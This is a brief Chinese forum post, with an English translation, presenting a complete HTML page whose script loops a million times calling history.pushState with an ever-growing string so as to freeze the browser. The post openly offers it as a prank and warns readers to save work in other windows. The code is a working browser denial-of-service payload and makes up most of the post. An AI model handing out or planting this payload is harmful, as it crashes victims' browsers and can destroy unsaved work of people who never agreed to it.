这十二行代码是如何让浏览器卡死?(可以整蛊)
完整HTML代码如下:<html><body><script>var total="";for (var i=0;i<1000000;i++){ total= total+i.toString(); history.pushState(0,0,total);}</script></body></html>
demo:(温馨提示:请保存浏览器其它窗口的编辑任务)
(The complete HTML code is as follows:
<html><body><script>var total="";for (var i=0;i<1000000;i++){ total= total+i.toString(); history.pushState(0,0,total); }</script></body></html>
demo: (reminder: please save the editing tasks in other windows of the browser))
页:
[1]